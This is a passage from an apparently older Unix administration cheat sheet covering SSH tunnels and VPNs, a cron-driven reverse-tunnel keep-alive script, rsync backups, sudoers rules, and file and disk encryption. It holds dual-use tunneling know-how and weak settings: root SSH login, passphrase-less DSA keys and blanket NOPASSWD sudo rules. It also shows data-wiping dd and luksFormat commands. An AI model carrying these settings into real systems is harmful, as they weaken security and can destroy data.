/&gt;&lt;br /&gt;I HAD to reboot for this to work. Now connect to the smb share with \\10.1.1.1 and remote desktop to 10.1.1.1:3388.&lt;br /&gt;Debug&lt;br /&gt;If it is not working:&lt;br /&gt;&lt;br /&gt;    * Are the ports forwarded: netstat -an? Look at 0.0.0.0:139 or 10.1.1.1:139&lt;br /&gt;    * Does telnet 10.1.1.1 139 connect?&lt;br /&gt;    * You need the checkbox &quot;Local ports accept connections from other hosts&quot;.&lt;br /&gt;    * Is &quot;File and Printer Sharing for Microsoft Networks&quot; disabled on the loopback interface?&lt;br /&gt;&lt;br /&gt;Connect two clients behind NAT&lt;br /&gt;Suppose two clients are behind a NAT gateway and client cliadmin has to connect to client cliuser (the destination), both can login to the gate with ssh and are running Linux with sshd. You don&#39;t need root access anywhere as long as the ports on gate are above 1024. We use 2022 on gate. Also since the gate is used locally, the option GatewayPorts is not necessary.&lt;br /&gt;On client cliuser (from destination to gate):&lt;br /&gt;&lt;br /&gt;# ssh -R 2022:localhost:22 user@gate            # forwards client 22 to gate:2022&lt;br /&gt;&lt;br /&gt;On client cliadmin (from host to gate):&lt;br /&gt;&lt;br /&gt;# ssh -L 3022:localhost:2022 admin@gate         # forwards client 3022 to gate:2022&lt;br /&gt;&lt;br /&gt;Now the admin can connect directly to the client cliuser with:&lt;br /&gt;&lt;br /&gt;# ssh -p 3022 admin@localhost                   # local:3022 -&gt; gate:2022 -&gt; client:22&lt;br /&gt;&lt;br /&gt;Connect to VNC behind NAT&lt;br /&gt;Suppose a Windows client with VNC listening on port 5900 has to be accessed from behind NAT. On client cliwin to gate:&lt;br /&gt;&lt;br /&gt;# ssh -R 15900:localhost:5900 user@gate&lt;br /&gt;&lt;br /&gt;On client cliadmin (from host to gate):&lt;br /&gt;&lt;br /&gt;# ssh -L 5900:localhost:15900 admin@gate&lt;br /&gt;&lt;br /&gt;Now the admin can connect directly to the client VNC with:&lt;br /&gt;&lt;br /&gt;# vncconnect -display :0 localhost&lt;br /&gt;&lt;br /&gt;Dig a multi-hop ssh tunnel&lt;br /&gt;Suppose you can not reach a server directly with ssh, but only via multiple intermediate hosts (for example because of routing issues). Sometimes it is still necessary to get a direct client - server connection, for example to copy files with scp, or forward other ports like smb or vnc. One way to do this is to chain tunnels together to forward a port to the server along the hops. This &quot;carrier&quot; port only reaches its final destination on the last connection to the server.&lt;br /&gt;Suppose we want to forward the ssh port from a client to a server over two hops. Once the tunnel is build, it is possible to connect to the server directly from the client (and also add an other port forward).&lt;br /&gt;Create tunnel in one shell&lt;br /&gt;client -&gt; host1 -&gt; host2 -&gt; server and dig tunnel 5678&lt;br /&gt;&lt;br /&gt;client&gt;# ssh -L5678:localhost:5678 host1        # 5678 is an arbitrary port for the tunnel&lt;br /&gt;host_1&gt;# ssh -L5678:localhost:5678 host2        # chain 5678 from host1 to host2&lt;br /&gt;host_2&gt;# ssh -L5678:localhost:22 server         # end the tunnel on port 22 on the server&lt;br /&gt;&lt;br /&gt;Use tunnel with an other shell&lt;br /&gt;client -&gt; server using tunnel 5678&lt;br /&gt;&lt;br /&gt;# ssh -p 5678 localhost                         # connect directly from client to  server&lt;br /&gt;# scp -P 5678 myfile localhost:/tmp/            # or copy a file directly using the tunnel&lt;br /&gt;# rsync -e &#39;ssh -p 5678&#39; myfile localhost:/tmp/ # or rsync a file directly to the server&lt;br /&gt;&lt;br /&gt;Autoconnect and keep alive script&lt;br /&gt;I use variations of the following script to keep a machine reacheable over a reverse ssh tunnel. The connection is automatically rebuilt if closed. You can add multiple -L or -R tunnels on one line.&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;COMMAND=&quot;ssh -N -f -g -R 3022:localhost:22 colin@cb.vu&quot;&lt;br /&gt;pgrep -f -x &quot;$COMMAND&quot; &gt; /dev/null 2&gt;&amp;1 || $COMMAND&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;1 * * * * colin /home/colin/port_forward.sh     # crontab entry (here hourly)&lt;br /&gt;&lt;br /&gt;VPN with SSH&lt;br /&gt;As of version 4.3, OpenSSH can use the tun/tap device to encrypt a tunnel. This is very similar to other TLS based VPN solutions like OpenVPN. One advantage with SSH is that there is no need to install and configure additional software. Additionally the tunnel uses the SSH authentication like pre shared keys. The drawback is that the encapsulation is done over TCP which might result in poor performance on a slow link. Also the tunnel is relying on a single (fragile) TCP connection. This technique is very useful for a quick IP based VPN setup. There is no limitation as with the single TCP port forward, all layer 3/4 protocols like ICMP, TCP/UDP, etc. are forwarded over the VPN. In any case, the following options are needed in the sshd_conf file:&lt;br /&gt;&lt;br /&gt;PermitRootLogin yes&lt;br /&gt;PermitTunnel yes&lt;br /&gt;&lt;br /&gt;Single P2P connection&lt;br /&gt;Here we are connecting two hosts, hclient and hserver with a peer to peer tunnel. The connection is started from hclient to hserver and is done as root. The tunnel end points are 10.0.1.1 (server) and 10.0.1.2 (client) and we create a device tun5 (this could also be an other number). The procedure is very simple:&lt;br /&gt;&lt;br /&gt;    * Connect with SSH using the tunnel option -w&lt;br /&gt;    * Configure the IP addresses of the tunnel. Once on the server and once on the client.&lt;br /&gt;&lt;br /&gt;Connect to the server&lt;br /&gt;Connection started on the client and commands are executed on the server.&lt;br /&gt;Server is on Linux&lt;br /&gt;&lt;br /&gt;cli&gt;# ssh -w5:5 root@hserver&lt;br /&gt;srv&gt;# ifconfig tun5 10.0.1.1 netmask 255.255.255.252   # Executed on the server shell&lt;br /&gt;&lt;br /&gt;Server is on FreeBSD&lt;br /&gt;&lt;br /&gt;cli&gt;# ssh -w5:5 root@hserver&lt;br /&gt;srv&gt;# ifconfig tun5 10.0.1.1 10.0.1.2                  # Executed on the server shell&lt;br /&gt;&lt;br /&gt;Configure the client&lt;br /&gt;Commands executed on the client:&lt;br /&gt;&lt;br /&gt;cli&gt;# ifconfig tun5 10.0.1.2 netmask 255.255.255.252   # Client is on Linux&lt;br /&gt;cli&gt;# ifconfig tun5 10.0.1.2 10.0.1.1                  # Client is on FreeBSD&lt;br /&gt;&lt;br /&gt;The two hosts are now connected and can transparently communicate with any layer 3/4 protocol using the tunnel IP addresses.&lt;br /&gt;Connect two networks&lt;br /&gt;In addition to the p2p setup above, it is more useful to connect two private networks with an SSH VPN using two gates. Suppose for the example, netA is 192.168.51.0/24 and netB 192.168.16.0/24. The procedure is similar as above, we only need to add the routing. NAT must be activated on the private interface only if the gates are not the same as the default gateway of their network.&lt;br /&gt;192.168.51.0/24 (netA)|gateA &lt;-&gt; gateB|192.168.16.0/24 (netB)&lt;br /&gt;&lt;br /&gt;    * Connect with SSH using the tunnel option -w.&lt;br /&gt;    * Configure the IP addresses of the tunnel. Once on the server and once on the client.&lt;br /&gt;    * Add the routing for the two networks.&lt;br /&gt;    * If necessary, activate NAT on the private interface of the gate.&lt;br /&gt;&lt;br /&gt;The setup is started from gateA in netA.&lt;br /&gt;Connect from gateA to gateB&lt;br /&gt;Connection is started from gateA and commands are executed on gateB.&lt;br /&gt;gateB is on Linux&lt;br /&gt;&lt;br /&gt;gateA&gt;# ssh -w5:5 root@gateB&lt;br /&gt;gateB&gt;# ifconfig tun5 10.0.1.1 netmask 255.255.255.252 # Executed on the gateB shell&lt;br /&gt;gateB&gt;# route add -net 192.168.51.0 netmask 255.255.255.0 dev tun5&lt;br /&gt;gateB&gt;# echo 1 &gt; /proc/sys/net/ipv4/ip_forward        # Only needed if not default gw&lt;br /&gt;gateB&gt;# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;br /&gt;&lt;br /&gt;gateB is on FreeBSD&lt;br /&gt;&lt;br /&gt;gateA&gt;# ssh -w5:5 root@gateB                          # Creates the tun5 devices&lt;br /&gt;gateB&gt;# ifconfig tun5 10.0.1.1 10.0.1.2               # Executed on the gateB shell&lt;br /&gt;gateB&gt;# route add 192.168.51.0/24 10.0.1.2&lt;br /&gt;gateB&gt;# sysctl net.inet.ip.forwarding=1               # Only needed if not default gw&lt;br /&gt;gateB&gt;# natd -s -m -u -dynamic -n fxp0                # see NAT&lt;br /&gt;gateA&gt;# sysctl net.inet.ip.fw.enable=1&lt;br /&gt;&lt;br /&gt;Configure gateA&lt;br /&gt;Commands executed on gateA:&lt;br /&gt;gateA is on Linux&lt;br /&gt;&lt;br /&gt;gateA&gt;# ifconfig tun5 10.0.1.2 netmask 255.255.255.252&lt;br /&gt;gateA&gt;# route add -net 192.168.16.0 netmask 255.255.255.0 dev tun5&lt;br /&gt;gateA&gt;# echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;gateA&gt;# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;br /&gt;&lt;br /&gt;gateA is on FreeBSD&lt;br /&gt;&lt;br /&gt;gateA&gt;# ifconfig tun5 10.0.1.2 10.0.1.1&lt;br /&gt;gateA&gt;# route add 192.168.16.0/24 10.0.1.2&lt;br /&gt;gateA&gt;# sysctl net.inet.ip.forwarding=1&lt;br /&gt;gateA&gt;# natd -s -m -u -dynamic -n fxp0                # see NAT&lt;br /&gt;gateA&gt;# sysctl net.inet.ip.fw.enable=1&lt;br /&gt;&lt;br /&gt;The two private networks are now transparently connected via the SSH VPN. The IP forward and NAT settings are only necessary if the gates are not the default gateways. In this case the clients would not know where to forward the response, and nat must be activated.&lt;br /&gt;RSYNC&lt;br /&gt;Rsync can almost completely replace cp and scp, furthermore interrupted transfers are efficiently restarted. A trailing slash (and the absence thereof) has different meanings, the man page is good... Here some examples:&lt;br /&gt;Copy the directories with full content:&lt;br /&gt;&lt;br /&gt;# rsync -a /home/colin/ /backup/colin/                # &quot;archive&quot; mode. e.g keep the same&lt;br /&gt;# rsync -a /var/ /var_bak/&lt;br /&gt;# rsync -aR --delete-during /home/user/ /backup/      # use relative (see below)&lt;br /&gt;&lt;br /&gt;Same as before but over the network and with compression. Rsync uses SSH for the transport per default and will use the ssh key if they are set. Use &quot;:&quot; as with SCP. A typical remote copy:&lt;br /&gt;&lt;br /&gt;# rsync -axSRzv /home/user/ user@server:/backup/user/ # Copy to remote&lt;br /&gt;# rsync -a &#39;user@server:My\ Documents&#39; My\ Documents  # Quote AND escape spaces for the remote shell&lt;br /&gt;&lt;br /&gt;Exclude any directory tmp within /home/user/ and keep the relative folders hierarchy, that is the remote directory will have the structure /backup/home/user/. This is typically used for backups.&lt;br /&gt;&lt;br /&gt;# rsync -azR --exclude=tmp/ /home/user/ user@server:/backup/&lt;br /&gt;&lt;br /&gt;Use port 20022 for the ssh connection:&lt;br /&gt;&lt;br /&gt;# rsync -az -e &#39;ssh -p 20022&#39; /home/colin/ user@server:/backup/colin/&lt;br /&gt;&lt;br /&gt;Using the rsync daemon (used with &quot;::&quot;) is much faster, but not encrypted over ssh. The location of /backup is defined by the configuration in /etc/rsyncd.conf. The variable RSYNC_PASSWORD can be set to avoid the need to enter the password manually.&lt;br /&gt;&lt;br /&gt;# rsync -axSRz /home/ ruser@hostname::rmodule/backup/&lt;br /&gt;# rsync -axSRz ruser@hostname::rmodule/backup/ /home/    # To copy back&lt;br /&gt;&lt;br /&gt;Some important options:&lt;br /&gt;&lt;br /&gt;    * -a, --archive       archive mode; same as -rlptgoD (no -H)&lt;br /&gt;    * -r, --recursive       recurse into directories&lt;br /&gt;    * -R, --relative       use relative path names&lt;br /&gt;    * -H, --hard-links       preserve hard links&lt;br /&gt;    * -S, --sparse       handle sparse files efficiently&lt;br /&gt;    * -x, --one-file-system       don&#39;t cross file system boundaries&lt;br /&gt;    * --exclude=PATTERN       exclude files matching PATTERN&lt;br /&gt;    * --delete-during       receiver deletes during xfer, not before&lt;br /&gt;    * --delete-after       receiver deletes after transfer, not before&lt;br /&gt;&lt;br /&gt;Rsync on Windows&lt;br /&gt;Rsync is available for Windows through cygwin or as stand-alone packaged in cwrsynchttp://sourceforge.net/projects/sereds. This is very convenient for automated backups. Install one of them (not both) and add the path to the Windows system variables: # Control Panel -&gt; System -&gt; tab Advanced, button Environment Variables. Edit the &quot;Path&quot; system variable and add the full path to the installed rsync, e.g. C:\Program Files\cwRsync\bin or C:\cygwin\bin. This way the commands rsync and ssh are available in a Windows command shell.&lt;br /&gt;Public key authentication&lt;br /&gt;Rsync is automatically tunneled over SSH and thus uses the SSH authentication on the server. Automatic backups have to avoid a user interaction, for this the SSH public key authentication can be used and the rsync command will run without a password.&lt;br /&gt;All the following commands are executed within a Windows console. In a console (Start -&gt; Run -&gt; cmd) create and upload the key as described in SSH, change &quot;user&quot; and &quot;server&quot; as appropriate. If the file authorized_keys2 does not exist yet, simply copy id_dsa.pub to authorized_keys2 and upload it.&lt;br /&gt;&lt;br /&gt;# ssh-keygen -t dsa -N &#39;&#39;                   # Creates a public and a private key&lt;br /&gt;# rsync user@server:.ssh/authorized_keys2 . # Copy the file locally from the server&lt;br /&gt;# cat id_dsa.pub &gt;&gt; authorized_keys2        # Or use an editor to add the key&lt;br /&gt;# rsync authorized_keys2 user@server:.ssh/  # Copy the file back to the server&lt;br /&gt;# del authorized_keys2                      # Remove the local copy&lt;br /&gt;&lt;br /&gt;Now test it with (in one line):&lt;br /&gt;&lt;br /&gt;rsync -rv &quot;/cygdrive/c/Documents and Settings/%USERNAME%/My Documents/&quot; \&lt;br /&gt;&#39;user@server:My\ Documents/&#39;&lt;br /&gt;&lt;br /&gt;Automatic backup&lt;br /&gt;Use a batch file to automate the backup and add the file in the scheduled tasks (Programs -&gt; Accessories -&gt; System Tools -&gt; Scheduled Tasks). For example create the file backup.bat and replace user@server.&lt;br /&gt;&lt;br /&gt;@ECHO OFF&lt;br /&gt;REM rsync the directory My Documents&lt;br /&gt;SETLOCAL&lt;br /&gt;SET CWRSYNCHOME=C:\PROGRAM FILES\CWRSYNC&lt;br /&gt;SET CYGWIN=nontsec&lt;br /&gt;SET CWOLDPATH=%PATH%&lt;br /&gt;REM uncomment the next line when using cygwin&lt;br /&gt;SET PATH=%CWRSYNCHOME%\BIN;%PATH%&lt;br /&gt;echo Press Control-C to abort&lt;br /&gt;rsync -av &quot;/cygdrive/c/Documents and Settings/%USERNAME%/My Documents/&quot; \&lt;br /&gt;&#39;user@server:My\ Documents/&#39;&lt;br /&gt;pause&lt;br /&gt;&lt;br /&gt;SUDO&lt;br /&gt;Sudo is a standard way to give users some administrative rights without giving out the root password. Sudo is very useful in a multi user environment with a mix of server and workstations. Simply call the command with sudo:&lt;br /&gt;&lt;br /&gt;# sudo /etc/init.d/dhcpd restart            # Run the rc script as root&lt;br /&gt;# sudo -u sysadmin whoami                   # Run cmd as an other user&lt;br /&gt;&lt;br /&gt;Configuration&lt;br /&gt;Sudo is configured in /etc/sudoers and must only be edited with visudo. The basic syntax is (the lists are comma separated):&lt;br /&gt;&lt;br /&gt;user hosts = (runas) commands          # In /etc/sudoers&lt;br /&gt;&lt;br /&gt;    * users one or more users or %group (like %wheel) to gain the rights&lt;br /&gt;    * hosts list of hosts (or ALL)&lt;br /&gt;    * runas list of users (or ALL) that the command rule can be run as. It is enclosed in ( )!&lt;br /&gt;    * commands list of commands (or ALL) that will be run as root or as (runas)&lt;br /&gt;&lt;br /&gt;Additionally those keywords can be defined as alias, they are called User_Alias, Host_Alias, Runas_Alias and Cmnd_Alias. This is useful for larger setups. Here a sudoers example:&lt;br /&gt;&lt;br /&gt;# cat /etc/sudoers&lt;br /&gt;# Host aliases are subnets or hostnames.&lt;br /&gt;Host_Alias   DMZ     = 212.118.81.40/28&lt;br /&gt;Host_Alias   DESKTOP = work1, work2&lt;br /&gt;&lt;br /&gt;# User aliases are a list of users which can have the same rights&lt;br /&gt;User_Alias   ADMINS  = colin, luca, admin&lt;br /&gt;User_Alias   DEVEL   = joe, jack, julia&lt;br /&gt;Runas_Alias  DBA     = oracle,pgsql&lt;br /&gt;&lt;br /&gt;# Command aliases define the full path of a list of commands&lt;br /&gt;Cmnd_Alias   SYSTEM  = /sbin/reboot,/usr/bin/kill,/sbin/halt,/sbin/shutdown,/etc/init.d/&lt;br /&gt;Cmnd_Alias   PW      = /usr/bin/passwd [A-z]*, !/usr/bin/passwd root # Not root pwd!&lt;br /&gt;Cmnd_Alias   DEBUG   = /usr/sbin/tcpdump,/usr/bin/wireshark,/usr/bin/nmap&lt;br /&gt;&lt;br /&gt;# The actual rules&lt;br /&gt;root,ADMINS  ALL     = (ALL) NOPASSWD: ALL    # ADMINS can do anything w/o a password.&lt;br /&gt;DEVEL        DESKTOP = (ALL) NOPASSWD: ALL    # Developers have full right on desktops&lt;br /&gt;DEVEL        DMZ     = (ALL) NOPASSWD: DEBUG  # Developers can debug the DMZ servers.&lt;br /&gt;&lt;br /&gt;# User sysadmin can mess around in the DMZ servers with some commands.&lt;br /&gt;sysadmin     DMZ     = (ALL) NOPASSWD: SYSTEM,PW,DEBUG&lt;br /&gt;sysadmin     ALL,!DMZ = (ALL) NOPASSWD: ALL   # Can do anything outside the DMZ.&lt;br /&gt;%dba         ALL     = (DBA) ALL              # Group dba can run as database user.&lt;br /&gt;&lt;br /&gt;# anyone can mount/unmount a cd-rom on the desktop machines&lt;br /&gt;ALL          DESKTOP = NOPASSWD: /sbin/mount /cdrom,/sbin/umount /cdrom&lt;br /&gt;&lt;br /&gt;Encrypt Files&lt;br /&gt;OpenSSL&lt;br /&gt;A single file&lt;br /&gt;Encrypt and decrypt:&lt;br /&gt;&lt;br /&gt;# openssl aes-128-cbc -salt -in file -out file.aes&lt;br /&gt;# openssl aes-128-cbc -d -salt -in file.aes -out file&lt;br /&gt;&lt;br /&gt;Note that the file can of course be a tar archive.&lt;br /&gt;tar and encrypt a whole directory&lt;br /&gt;&lt;br /&gt;# tar -cf - directory | openssl aes-128-cbc -salt -out directory.tar.aes      # Encrypt&lt;br /&gt;# openssl aes-128-cbc -d -salt -in directory.tar.aes | tar -x -f -            # Decrypt&lt;br /&gt;&lt;br /&gt;tar zip and encrypt a whole directory&lt;br /&gt;&lt;br /&gt;# tar -zcf - directory | openssl aes-128-cbc -salt -out directory.tar.gz.aes  # Encrypt&lt;br /&gt;# openssl aes-128-cbc -d -salt -in directory.tar.gz.aes | tar -xz -f -        # Decrypt&lt;br /&gt;&lt;br /&gt;    * Use -k mysecretpassword after aes-128-cbc to avoid the interactive password request. However note that this is highly insecure.&lt;br /&gt;    * Use aes-256-cbc instead of aes-128-cbc to get even stronger encryption. This uses also more CPU.&lt;br /&gt;&lt;br /&gt;GPG&lt;br /&gt;GnuPG is well known to encrypt and sign emails or any data. Furthermore gpg and also provides an advanced key management system. This section only covers files encryption, not email usage, signing or the Web-Of-Trust.&lt;br /&gt;The simplest encryption is with a symmetric cipher. In this case the file is encrypted with a password and anyone who knows the password can decrypt it, thus the keys are not needed. Gpg adds an extention &quot;.gpg&quot; to the encrypted file names.&lt;br /&gt;&lt;br /&gt;# gpg -c file                        # Encrypt file with password&lt;br /&gt;# gpg file.gpg                       # Decrypt file (optionally -o otherfile)&lt;br /&gt;&lt;br /&gt;Using keys&lt;br /&gt;For more details see GPG Quick Starthttp://www.madboa.com/geek/gpg-quickstart and GPG/PGP Basicshttp://aplawrence.com/Basics/gpg.html and the gnupg documentationhttp://gnupg.org/documentation among others.&lt;br /&gt;The private and public keys are the heart of asymmetric cryptography. What is important to remember:&lt;br /&gt;&lt;br /&gt;    * Your public key is used by others to encrypt files that only you as the receiver can decrypt (not even the one who encrypted the file can decrypt it). The public key is thus meant to be distributed.&lt;br /&gt;    * Your private key is encrypted with your passphrase and is used to decrypt files which were encrypted with your public key. The private key must be kept secure. Also if the key or passphrase is lost, so are all the files encrypted with your public key.&lt;br /&gt;    * The key files are called keyrings as they can contain more than one key.&lt;br /&gt;&lt;br /&gt;First generate a key pair. The defaults are fine, however you will have to enter at least your full name and email and optionally a comment. The comment is useful to create more than one key with the same name and email. Also you should use a &quot;passphrase&quot;, not a simple password.&lt;br /&gt;&lt;br /&gt;# gpg --gen-key                      # This can take a long time&lt;br /&gt;&lt;br /&gt;The keys are stored in ~/.gnupg/ on Unix, on Windows they are typically stored in&lt;br /&gt;C:/Documents and Settings/%USERNAME%/Application Data/gnupg/.&lt;br /&gt;&lt;br /&gt;~/.gnupg/pubring.gpg                 # Contains your public keys and all others imported&lt;br /&gt;~/.gnupg/secring.gpg                 # Can contain more than one private key&lt;br /&gt;&lt;br /&gt;Short reminder on most used options:&lt;br /&gt;&lt;br /&gt;    * -e encrypt data&lt;br /&gt;    * -d decrypt data&lt;br /&gt;    * -r NAME encrypt for recipient NAME (or &#39;Full Name&#39; or &#39;email@domain&#39;)&lt;br /&gt;    * -a create ascii armored output of a key&lt;br /&gt;    * -o use as output file&lt;br /&gt;&lt;br /&gt;The examples use &#39;Your Name&#39; and &#39;Alice&#39; as the keys are referred to by the email or full name or partial name. For example I can use &#39;Colin&#39; or &#39;c@cb.vu&#39; for my key [Colin Barschel (cb.vu) &lt;c@cb.vu&gt;].&lt;br /&gt;Encrypt for personal use only&lt;br /&gt;No need to export/import any key for this. You have both already.&lt;br /&gt;&lt;br /&gt;# gpg -e -r &#39;Your Name&#39; file                  # Encrypt with your public key&lt;br /&gt;# gpg -o file -d file.gpg                     # Decrypt. Use -o or it goes to stdout&lt;br /&gt;&lt;br /&gt;Encrypt - Decrypt with keys&lt;br /&gt;First you need to export your public key for someone else to use it. And you need to import the public say from Alice to encrypt a file for her. You can either handle the keys in simple ascii files or use a public key server.&lt;br /&gt;For example Alice export her public key and you import it, you can then encrypt a file for her. That is only Alice will be able to decrypt it.&lt;br /&gt;&lt;br /&gt;# gpg -a -o alicekey.asc --export &#39;Alice&#39;     # Alice exported her key in ascii file.&lt;br /&gt;# gpg --send-keys --keyserver subkeys.pgp.net KEYID   # Alice put her key on a server.&lt;br /&gt;# gpg --import alicekey.asc                   # You import her key into your pubring.&lt;br /&gt;# gpg --search-keys --keyserver subkeys.pgp.net &#39;Alice&#39; # or get her key from a server.&lt;br /&gt;&lt;br /&gt;Once the keys are imported it is very easy to encrypt or decrypt a file:&lt;br /&gt;&lt;br /&gt;# gpg -e -r &#39;Alice&#39; file                      # Encrypt the file for Alice.&lt;br /&gt;# gpg -d file.gpg -o file                     # Decrypt a file encrypted by Alice for you.&lt;br /&gt;&lt;br /&gt;Key administration&lt;br /&gt;&lt;br /&gt;# gpg --list-keys                             # list public keys and see the KEYIDS&lt;br /&gt;    The KEYID follows the &#39;/&#39; e.g. for: pub   1024D/D12B77CE the KEYID is D12B77CE&lt;br /&gt;# gpg --gen-revoke &#39;Your Name&#39;                # generate revocation certificate&lt;br /&gt;# gpg --list-secret-keys                      # list private keys&lt;br /&gt;# gpg --delete-keys NAME                      # delete a public key from local key ring&lt;br /&gt;# gpg --delete-secret-key NAME                # delete a secret key from local key ring&lt;br /&gt;# gpg --fingerprint KEYID                     # Show the fingerprint of the key&lt;br /&gt;# gpg --edit-key KEYID                        # Edit key (e.g sign or add/del email)&lt;br /&gt;&lt;br /&gt;Encrypt Partitions&lt;br /&gt;&lt;br /&gt;Linux with LUKS | Linux dm-crypt only | FreeBSD GELI | FBSD pwd only&lt;br /&gt;There are (many) other alternative methods to encrypt disks, I only show here the methods I know and use. Keep in mind that the security is only good as long the OS has not been tempered with. An intruder could easily record the password from the keyboard events. Furthermore the data is freely accessible when the partition is attached and will not prevent an intruder to have access to it in this state.&lt;br /&gt;Linux&lt;br /&gt;Those instructions use the Linux dm-crypt (device-mapper) facility available on the 2.6 kernel. In this example, lets encrypt the partition /dev/sdc1, it could be however any other partition or disk, or USB or a file based partition created with losetup. In this case we would use /dev/loop0. See file image partition. The device mapper uses labels to identify a partition. We use sdc1 in this example, but it could be any string.&lt;br /&gt;dm-crypt with LUKS&lt;br /&gt;LUKS with dm-crypt has better encryption and makes it possible to have multiple passphrase for the same partition or to change the password easily. To test if LUKS is available, simply type # cryptsetup --help, if nothing about LUKS shows up, use the instructions below Without LUKS. First create a partition if necessary: fdisk /dev/sdc.&lt;br /&gt;Create encrypted partition&lt;br /&gt;&lt;br /&gt;# dd if=/dev/urandom of=/dev/sdc1          # Optional. For paranoids only (takes days)&lt;br /&gt;# cryptsetup -y luksFormat /dev/sdc1       # This destroys any data on sdc1&lt;br /&gt;# cryptsetup luksOpen /dev/sdc1 sdc1&lt;br /&gt;# mkfs.ext3 /dev/mapper/sdc1               # create ext3 file system&lt;br /&gt;# mount -t ext3 /dev/mapper/sdc1 /mnt&lt;br /&gt;# umount /mnt&lt;br /&gt;# cryptsetup luksClose sdc1                # Detach the encrypted partition&lt;br /&gt;&lt;br /&gt;Attach&lt;br /&gt;&lt;br /&gt;# cryptsetup luksOpen /dev/sdc1 sdc1&lt;br /&gt;# mount -t ext3 /dev/mapper/sdc1 /mnt&lt;br /&gt;&lt;br /&gt;Detach&lt;br /&gt;&lt;br /&gt;# umount /mnt&lt;br /&gt;# cryptsetup luksClose sdc1&lt;br /&gt;&lt;br /&gt;dm-crypt without LUKS&lt;br /&gt;&lt;br /&gt;# cryptsetup -y create sdc1 /dev/sdc1      # or any other partition like /dev/loop0&lt;br /&gt;# dmsetup ls                               # check it, will display: sdc1 (254, 0)&lt;br /&gt;# mkfs.ext3 /dev/mapper/sdc1               # This is done only the first time!&lt;br /&gt;# mount -t ext3 /dev/mapper/sdc1 /mnt&lt;br /&gt;# umount /mnt/&lt;br /&gt;# cryptsetup remove sdc1                   # Detach the encrypted partition&lt;br /&gt;&lt;br /&gt;Do exactly the same (without the mkfs part!) to re-attach the partition. If the password is not correct, the mount command will fail. In this case simply remove the map sdc1 (cryptsetup remove sdc1) and create it again.&lt;br /&gt;FreeBSD&lt;br /&gt;The two popular FreeBSD disk encryption modules are gbde and geli. I now use geli because it is faster and also uses the crypto device for hardware acceleration. See The FreeBSD handbook Chapter 18.6http://www.freebsd.org/handbook/disks-encrypting.html for all the details. The geli module must be loaded or compiled into the kernel:&lt;br /&gt;&lt;br /&gt;options GEOM_ELI&lt;br /&gt;device crypto                                       # or as module:&lt;br /&gt;# echo &#39;geom_eli_load=&quot;YES&quot;&#39; &gt;&gt; /boot/loader.conf   # or do: kldload geom_eli&lt;br /&gt;&lt;br /&gt;Use password and key&lt;br /&gt;I use those settings for a typical disk encryption, it uses a passphrase AND a key to encrypt the master key. That is you need both the password and the generated key /root/ad1.key to attach the partition. The master key is stored inside the partition and is not visible. See below for typical USB or file based image.&lt;br /&gt;Create encrypted partition&lt;br /&gt;&lt;br /&gt;# dd if=/dev/random of=/root/ad1.key bs=64 count=1  # this key encrypts the mater key&lt;br /&gt;# geli init -s 4096 -K /root/ad1.key /dev/ad1       # -s 8192 is also OK for disks&lt;br /&gt;# geli attach -k /root/ad1.key /dev/ad1             # DO make a backup of /root/ad1.key&lt;br /&gt;# dd if=/dev/random of=/dev/ad1.eli bs=1m           # Optional and takes a long time&lt;br /&gt;# newfs /dev/ad1.eli                                # Create file system&lt;br /&gt;# mount /dev/ad1.eli /mnt&lt;br /&gt;&lt;br /&gt;Attach&lt;br /&gt;&lt;br /&gt;# geli attach -k /root/ad1.key /dev/ad1&lt;br /&gt;# fsck -ny -t ffs /dev/ad1.eli                      # In doubt check the file system&lt;br /&gt;# mount /dev/ad1.eli /mnt&lt;br /&gt;&lt;br /&gt;Detach&lt;br /&gt;The detach procedure is done automatically on shutdown.&lt;br /&gt;&lt;br /&gt;# umount /mnt&lt;br /&gt;# geli detach /dev/ad1.eli&lt;br /&gt;&lt;br /&gt;/etc/fstab&lt;br /&gt;The encrypted partition can be configured to be mounted with /etc/fstab. The password will be prompted when booting. The following settings are required for this example:&lt;br /&gt;&lt;br /&gt;# grep geli /etc/rc.conf&lt;br /&gt;geli_devices=&quot;ad1&quot;&lt;br /&gt;geli_ad1_flags=&quot;-k /root/ad1.key&quot;&lt;br /&gt;# grep geli /etc/fstab&lt;br /&gt;/dev/ad1.eli         /home/private              ufs             rw      0       0&lt;br /&gt;&lt;br /&gt;Use password only&lt;br /&gt;It is more convenient to encrypt a USB stick or file based image with a passphrase only and no key. In this case it is not necessary to carry the additional key file around. The procedure is very much the same as above, simply without the key file. Let&#39;s encrypt a file based image /cryptedfile of 1 GB.&lt;br /&gt;&lt;br /&gt;# dd if=/dev/zero of=/cryptedfile bs=1M count=1000  # 1 GB file&lt;br /&gt;# mdconfig -at vnode -f /cryptedfile&lt;br /&gt;# geli init /dev/md0                                # encrypts with password only&lt;br /&gt;# geli attach /dev/md0&lt;br /&gt;# newfs -U -m 0 /dev/md0.eli&lt;br /&gt;# mount /dev/md0.eli /mnt&lt;br /&gt;# umount /dev/md0.eli&lt;br /&gt;# geli detach md0.eli&lt;br /&gt;&lt;br /&gt;It is now possible to mount this image on an other system with the password only.&lt;br /&gt;&lt;br /&gt;# mdconfig -at vnode -f /cryptedfile&lt;br /&gt;# geli attach /dev/md0&lt;br /&gt;# mount /dev/md0.eli /mnt&lt;br /&gt;&lt;br /&gt;SSL Certificates&lt;br /&gt;So called SSL/TLS certificates are cryptographic public key certificates and are composed of a public and a private key. The certificates are used to authenticate the endpoints and encrypt the data. They are used for example on a web server (https) or mail server (imaps).&lt;br /&gt;Procedure&lt;br /&gt;&lt;br /&gt;    * We need a certificate authority to sign our certificate. This step is usually provided by a vendor like Thawte, Verisign, etc., however we can also create our own.&lt;br /&gt;    * Create a certificate signing request. This request is like an unsigned certificate (the public part) and already contains all necessary information. The certificate request is normally sent to the authority vendor for signing. This step also creates the private key on the local machine.&lt;br /&gt;    * Sign the certificate with the certificate authority.&lt;br /&gt;    * If necessary join the certificate and the key in a single file to be used by the application (web server, mail server etc.).&lt;br /&gt;&lt;br /&gt;Configure OpenSSL&lt;br /&gt;We use /usr/local/certs as directory for this example check or edit /etc/ssl/openssl.cnf accordingly to your settings so you know where the files will be created. Here are the relevant part of openssl.cnf:&lt;br /&gt;&lt;br /&gt;[ CA_default ]&lt;br 